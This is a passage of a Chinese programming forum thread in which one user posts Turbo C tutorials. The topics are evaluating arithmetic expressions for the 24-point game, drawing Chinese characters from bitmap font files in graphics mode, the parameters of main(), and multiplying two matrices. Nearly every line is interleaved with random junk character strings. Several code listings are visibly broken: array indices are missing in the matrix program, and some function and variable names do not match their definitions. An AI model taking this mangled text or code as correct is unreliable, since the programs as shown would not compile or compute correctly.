, O3 Y+ p+ p5 W& _5 ]* P) lcase '/': p=2; break;% M* r# a' P3 I; t  F/ A
case '+': p=1; break;
$ ^3 s; A0 k& u6 v  bcase '-': p=1; break;7 q, \3 @, i, R
case '(': p=0; break;
4 c3 B  Z( w! d7 v- C: `case '=': p=-1; break;& j5 e9 _4 c) {& _
}* Z+ y  B) q: O8 Y) h$ [$ v
return(p);
  T7 \% A* w! N) C$ s}
* W+ p. z$ n8 v, |; I& O' G/* 此函数实现中缀到后缀的转换 */! v+ E0 O% W! A& ^% o- g5 t
/* M的值宏定义为20 */
1 {' a  C& E, a* \8 s1 m9 {/* sp[]为表达式数组 */0 r% ^( T! x0 Z- |
int mid_last()
! n  \; j: s8 W; z+ `7 K{ int i=0,j=0; char c,sm[M];' u; T+ v% ^: K! f/ G
c=s[0]; sm[0]='='; top=0;3 C1 S1 |9 w1 d
while(c!='\0')$ I' e; K8 @# o
{ if(islower(c)) sp[j++]=c;8 s1 s3 Z; q. F. K6 y7 L5 Q
else switch(c)
& [" A8 t$ M4 Z3 `- I! j$ }8 O8 A{ case '+':$ O8 `% e/ b2 Q  F
case '-':! t! {/ o) P7 W* E% J1 f3 F; R
case '*':
1 K) `1 Z" h) _! \1 V5 S5 \' D% [case '/': while(first(c)&lt;=first(sm[top]))9 Y, M" Y0 k6 U0 k( K4 k, g  M" q
sp[j++]=sm[top--];
1 k% ^1 s! [* ]1 S, z9 D4 |) _sm[++top]=c; break;
& l+ e8 Q4 ~5 y" u: d. u$ Hcase '(': sm[++top]=c; break;' k% k! q- i$ S- d# X
case ')': while(sm[top]!='(')0 U- E9 r$ ]# Y% I2 O; c
sp[j++]=sm[top--];1 D: }  f) _5 e. x& F
top--; break;4 p, [0 a6 [: Y# O9 Y1 C; G
default :return(1);
4 t% b1 X- Y8 ]# N}
2 Y. c  ]1 g; J* K/ g/ ^c=s[++i];
1 l1 `! @8 o2 V) E. N# G0 }}
4 v4 j0 T+ e% Q* e' N0 G) Gwhile(top&gt;0) sp[j++]=sm[top--];
; a  G3 u" k. e; u$ C; i9 m. {sp[j]='\0'; return(0);
  n, C5 J) q4 u. u}7 x( x+ u- c6 ^' n* W
/* 由后缀表达式来计算表达式的值 */) O3 N1 X6 w+ C' S7 q: Z* l/ V! p
int calc()* j) U8 i1 a. W9 ^9 o
{ int i=0,sm[M],tr; char c;2 j; V& x, u+ y! ~' n& b
c=sp[0]; top=-1;' @5 b3 W( j, L' L2 G4 t. Y
while(c!='\0')
, h* C% @3 g8 G: _{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
1 Z- J; X3 q  B( `. a: F" f这样才可以更方便的处理非一位数, # l" z& g* d9 O' u" \8 ?( e; v/ J
ver数组中存放着这些字母所代替的数*/
9 ^# h2 ]4 h4 o+ H; _2 p% lelse switch(c)
( a. X  C2 n, i/ D; K. b{ case '+': tr=sm[top--]; sm[top]+=tr; break;5 y1 h' g' x! d
case '-': tr=sm[top--]; sm[top]-=tr; break;
# B( k$ ~( r. b" {7 ~1 M5 ncase '*': tr=sm[top--]; sm[top]*=tr; break;
9 p) ^9 I, \$ @case '/': tr=sm[top--];sm[top]/=tr;break;6 @& T( N# F/ N
default : return(1);* O* T' C7 a$ D3 {
}) G: H0 T: d- _' H8 M7 |: e; c
c=sp[++i];
$ Y  _5 t6 F) s  n2 G$ |" J, o}, p& w, U2 g; H( K  K, ^" k2 |- q
if(top&gt;0) return(1);
; B9 X9 \4 b( x$ x0 Delse { result=sm[top]; return(0); }
. `+ m$ r# I+ \}3 s; T$ b  m9 R/ a8 K
</FONT>7 L- a/ i% u( b! p" E
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
, Q" T/ E4 c( c- O$ S6 Y, u0 j' V) e( H) G9 g. i
  最后我总结了一下这其中容易出错的地方——5 x9 A+ J7 R+ P( v
" |- s* X1 Q# B' V/ ?% w* a: o$ t
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。  B& q5 }$ ^; k  H

# B1 K3 T! j, u& h, I9 r' t  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。5 Q# w" d6 R$ P& |& n" r" |3 g, r
9 C" ?1 V3 {6 ]# J6 y% r
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
( d3 V1 c2 Q4 ]( V' t( s9 t( Z4 s
7 \$ X4 V: ?+ r0 `% F1 W  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。8 r  J( |) x/ a4 `3 Z

, q8 j; S8 O. R9 ]) j  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
+ s8 A2 d/ |' o, Z8 ~' Y' S7 n7 o- D' d
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。4 W/ D/ P. L1 K" K, c( r$ Z7 D

% {" {3 g* W+ g5 t* _3 V8 v  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。) {' M+ h$ r: J, M5 t
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B># m* i9 T% e: |% r% d
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
0 v; [  K: A6 E' @% p  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
3 k: a# {5 d& z7 y* J% J3 @  汉字显示的第一步是打开字库文件。 0 N4 L3 [$ B% H2 H  E
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
/ c  \, O) C$ I* C, m( @  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
, e, `& E* m" ]. w: k# B( t# S{
( Y. o4 A6 i1 l! Qunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/8 I- o! F( X( c) M, \
int rec,i1,i2,i3; /*z:space between;*/4 q& w" _: F8 m" |
long l; /*color:txt color*/
3 N" R! V* d5 E" i( J* c' n5 O& vchar by[32]; /*p:HZ str*/
: r) E7 }8 M( Z' H6 mif( handle&lt;0 ) return -1; while((i=*p++)!=0){1 v" a( G6 o4 M5 o" k
if(i&gt;0xa1)7 g4 E/ S$ ^0 V; G! d: \- b! s
if(f==0){
0 t8 G  d9 b% D+ E, N$ _+ \' yc1=(i-0xa1)&amp;0x07f;
, k/ P" Q! m! @- ^8 Ef=1;
- ~5 x8 ^$ U( {+ x}$ `2 X- _' [: |: h7 ~9 ]4 K
else{6 [1 C6 N) Q/ Y5 E& x
c2=(i-0xa1)&amp;0x07f;
# ?$ d: b" F! |4 ~! h* Hf=0;
) ~2 K; g6 O5 V0 z  Crec=c1*94+c2;" }; d4 D& v+ A8 l# M
l=rec*32L;9 k$ o- n6 }8 G2 j& P  t, V
lseek(handle,l,SEEK_SET);
% d+ D. w6 f7 @. [read(handle,by,32);& Y. v4 q5 P9 w7 B7 U* u
for(i1=0;i1&lt;16;i1++)% o% N$ n" E5 |/ v  f
for(i2=0;i2&lt;2;i2++)
# {) |; r$ g' o0 F. |6 }' `. Ufor(i3=0;i3&lt;8;i3++)# ]3 Q* ^! s. r! r
if(GetBit(by[i1*2+i2],7-i3))
+ j+ J" I7 d8 O: f# ]' hputpixel(x+i2*8+i3,y+i1,color);3 H& t6 p4 [9 H2 A
x=x+z+16;
# b" l9 `7 ^: ?' q}
- {1 i! }4 ^3 C. n- ^1 u}7 p# T! U7 E- f0 K) ^, w
return(x);
7 k) s2 I* _) [}; J" o6 h5 M) b! C
函数GetBit定义如下:# F8 W/ {7 Z; d* l
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
* C9 m8 ]' p) M) a8 N9 }+ oint GetBit(unsigned char c,int n)) {, ?; G% C; J0 \: {
{( B4 I8 X9 t. j6 ~2 g
return((c&gt;&gt;n)&amp;1);
9 N" j' f+ \3 O6 V, _% T}+ _8 t6 b; [+ e/ ?
汉字显示结束,应该关闭字库文件。
" x2 j- x. d$ z7 ovoid CloseHz(void)
6 z  Y- w4 Z' I6 i1 g{, {3 o6 _( ]. j* b2 U
close( handle );( c# _7 `& q$ x$ {
}$ W) V( p" b! O: A' o* q9 j
#include "\Caic\Include\Hz.h"& J9 N" F3 t5 j' J1 d) w
#include <GRAPHICS.H>
* T+ k3 x1 d* a2 ?! v#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";7 c7 X/ g* N2 @9 ~/ T4 Y
const char* HzStr = "苦丁香C语言辅助学习软件";
  Q0 q# |1 f% r& E. w" G8 lvoid main(){
# w# p8 C4 I/ F% y& p. A- Y# _int gr=DETECT,gm;
: L3 ^6 \+ }. E; B! Kinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
# |! ]0 g/ A% U- a- y5 c2 LOpenHz( Hz16Path );. b7 s# I. j5 C* p; M
Wrt16Hz(20,20,4,RED,HzStr);
! V7 m0 S  ?: ?5 h) B$ C/ ^8 U. i8 iCloseHz();
1 g- W: K# _% X# ]1 y+ [5 Hgetch();
0 ]. p- V, N5 b7 [6 m5 I" Uclosegraph();4 r7 a9 r% c. C! e! r4 D+ S& A9 C
}显示24点阵及放大汉字5 j9 @& l. M' K( H1 z& R& W
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
, v) v4 K2 g, [; g1 C; K. @函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
8 k3 ^' Z) i" q9 }# R; nint WrtHz24(int x,int y,int z,int color,int m,int n,char *p); _3 h/ B. P0 |; C3 d) R
{
9 Z0 V; P+ f2 ~4 Junsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
1 C7 T5 ~/ J2 tint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
) b! L/ y1 T5 W, v$ q. m4 y) Rlong l; /*color:汉字颜色*/! h# G' U; y3 P0 Z! n5 A
char by[72]; /*m: x 方向的放大倍数*/: U- v) b  B/ K% y& d7 {4 y8 x' x
/*n: y 方向的放大倍数*/$ {* ]. ?- @3 c1 x, y7 s) ~
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){  u& ^+ ?8 c; `# Q& \
if(i&gt;0xa1)/ y  y2 |( q4 z; j, C
if(f==0){
* g: @% s  Y: k- s9 H( o$ B7 ~c1=(i-0xa1)&amp;0x7f;) Y+ B8 Z8 Y' ]* Q' O
f=1;
( C( k$ X' F8 N}
- ]1 T$ N* N& F$ i9 Qelse{/ P9 W! v  [: ~2 M7 K  i
c2=(i-0xa1)&amp;0x7f;5 d+ R1 o; M+ S, k7 W8 K
f=0;
  o$ k2 N/ \8 P6 ^: l# B: Q; _; }rec=(c1-15)*94+c2;
' j! W9 \8 E+ X6 s: El=rec*72L;- X3 L- G6 N7 Z; g$ P' n8 D
lseek(handle,l,SEEK_SET);! s. g7 R: ~$ c0 S, o; }
read(handle,by,72);: x4 T3 o& d1 P
for(i1=0;i1&lt;24*m;i1=i1+m)
) c3 r# c& Z; ?) R+ @) ^2 H4 dfor(i4=0;i4<M;I4++)
8 H) C6 M9 N4 c& Y; [9 R0 @* j for(i2=0;i2&lt;=2;i2++)
' `) U( t4 W/ S) ffor(i3=0;i3&lt;8;i3++)$ F% Y2 h! {( }, V8 e
if(GetBit(by[i1/m*3+i2],7-i3))
5 h1 x. I4 C  ~& V! Z  k# ~for(i5=0;i5<N;I5++)
- v* S+ s1 u! d; q; V. [ putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
- d+ i' s* J$ A. nx=x+24*m+z;
# d: F8 N# P% o. M) G! |}
/ g  d0 k0 @" c: d! q8 T}5 l7 u+ [1 d7 L# q4 \- K
return(x);
6 L& h0 f0 i5 e% S* N# Z} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
% Q- j+ T, K  [/ D) |& f& z" c#include <GRAPHICS.H>
- C& Y8 c  u1 m2 ?, G$ v4 c) ]#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."( |  h8 I3 c. s  U
const char* HzStr = "苦丁香C语言辅助学习软件";
  C: @8 i0 r$ y4 \% p/ M% B. Ivoid main(){+ E$ A. h4 I0 B) L0 a
int gr=DETECT,gm;
0 ?' f; p% O  ?5 t3 Y3 Pinitgraph(&amp;gr,gm,"\\Caic\\Bgi");
' z6 m9 w% K! @; W; c5 Q3 OOpenHz( Hz24Path );
  A4 T! b& g$ cWrt24Hz(20,20, /*先是在(x,y)*/0 P5 ^$ }0 T7 b$ O  V3 a. ~
4, /*汉字间的空格为4*/
; a4 D* U5 }' U4 A) DRED, /*用红色显示*/% m/ f( L5 \8 l+ D2 Y/ z
2, /*x 方向放大2倍*/2 G9 j. i+ U0 a' P! x3 P
4, /*y 方向放大4倍*/! Z% Y/ Z. \7 D% u& ^
HzStr); /*显示字符串*/7 P& d) f4 L. S- p
CloseHz();
( y9 \. B7 s$ u* G: wgetch();! c6 O6 O7 j9 o) x  G
closegraph();; r; M! w, T0 O5 q# s' H: I7 L
} , }/ R& {9 _7 S3 o' n
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数/ h9 S0 D) u9 T- ~# Z$ K
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
6 w8 z+ s, O5 `6 E+ Z0 x1. main() 参数
8 B. U8 l! E; L1 }" i  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。  \8 ~" s. _4 J5 A( Y4 i3 j* u/ f
  * argc: 整数,为传给main()的命令行参数个数。
% n$ r- p2 ]. n5 ^6 Y; N1 U  * argv: 字符串数组。
# p8 z, z# Q7 H4 S" i: d在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
4 W7 y2 ^* j+ R对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
$ \/ c/ K9 V8 s: C, Q6 G...
. j* `1 b% j7 d4 Dargv[argc]为NULL。
1 g9 @. T% t# k  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
- K( [4 e: [% j* H, T值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/! H( }; X+ ]: }
#include&lt;stdio.h&gt;
1 r' j* |2 S2 j* q. T#include&lt;conio.h&gt;( t% c; U; Z- P; ]" O8 w% M
#define X 3
' m2 `( _, X1 t" Q( f, j$ T% e& x#define Y 3</P><>int a[X][Y];' M9 b2 S, f# R7 }
int b[X][Y];
4 j1 T, i- |4 F- i. N# h6 P+ bint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
/ t+ T8 _7 b2 P  B* U% Mmain()/ U7 ~9 c: I6 d  t
{
. W' x8 N( c  s' f8 D% Hint i,j,temp;
  X2 x/ y9 Z; q% ~clrscr();
% Y+ n& J& l0 U( R3 Mprintf("lease input int matrix b[%d][%d]\n",X,Y);
) @( ]4 A# S5 xfor(i=0;i&lt;Y;i++)
( m9 N8 q4 m" O! U4 Qfor(j=0;j&lt;Y;j++){. [9 }" L7 a. C4 H( _
scanf("%d",&amp;temp);0 t! C, q9 k% t) y
b[j]=temp;
. R9 B  J! Y1 B% W. q* b2 S}) Q: y7 F1 N) _, M  C5 a! {
printf("lease input int matrix c[%d][%d]\n",X,Y);7 s7 Q. H* n4 C/ ~0 z
for(i=0;i&lt;X;i++)
" @! L, I8 @3 `- L$ wfor(j=0;j&lt;Y;j++){
( V/ Q, x; T% Ascanf("%d",&amp;temp);3 V* p2 h' Y& ^  k2 c4 v' i0 A7 n
c[j]=temp;
6 Q' t7 y  k0 g6 a6 S}/ S, V% M8 x2 o0 W; {
matrix(b,c);0 \& Q5 u1 _- ?( L
printf("Now print resource matrix b[%d][%d]=",X,Y);7 A$ Q5 p2 M. w) b$ b4 Y
for(i=0;i&lt;X;i++){
; u) M! G( P) o% k% L; V$ x- Bprintf("\n");% f9 Q* l0 B5 _
for(j=0;j&lt;Y;j++)
& D# d. `: H- `5 c, Y' Kprintf("%d ",b[j]);
0 D. j% |# Q6 \9 J' |}  }6 f# K/ w% n
printf("\n");* O7 R% M8 Q3 [' m" Q
printf("Now print resource matrix c[%d][%d]=",X,Y);, H2 y) f- a% g# T1 ?
for(i=0;i&lt;X;i++){
* H6 W+ Z2 P3 a$ `. x% B- eprintf("\n");& l* N& i$ @) ?& p
for(j=0;j&lt;Y;j++)
6 J. B* [: l/ K& bprintf("%d ",c[j]);  P7 X4 \0 o( Y9 b
}  [6 x% p+ v& z1 I/ e6 s, s9 ~* |* r
printf("\n");6 q1 a; A& J$ A5 E
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);9 U  e5 b% d' L+ ^
for(i=0;i&lt;X;i++){
+ V% e* l7 U" p+ qprintf("\n");% F: ], Q4 g  B) |- L' {5 p
for(j=0;j&lt;Y;j++)/ i0 |6 V3 p  q! t. n
printf("%d ",a[j]);
  h; O: H1 g& x& Y1 c1 q: F}( C; V+ q7 }. z
getch();+ X5 X/ D" {' j# c3 t
return 0;  g7 P8 {) a$ K  B
}( j$ g$ ?: F9 y/ J, d) j" t8 y# I
/********************************************************************/0 A9 o$ |4 m: N
void matrix(int b[][X],int c[][Y])
3 b+ n5 `2 I2 s! o5 `  y! M: T{/ j- g8 C1 v" ]$ `  P7 i
int i,j,k,temp;
" M* }  T0 s# I# m. q2 A4 J  afor(i=0;i&lt;X;i++)
# ~) K3 O- h$ g" X* m# r6 nfor(j=0;j&lt;Y;j++){
8 X# x" [2 f* k; A( ^for(k=0;k&lt;Y;k++)
  K+ ^2 P% c* b% n; c! T( W4 x7 I2 Ja[j]+=b[k]*c[k][j];4 _3 E/ C8 z# x
}, Z* H! s) {. r: V
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-7-19 17:25 , Processed in 1.085252 second(s), 90 queries .

回顶部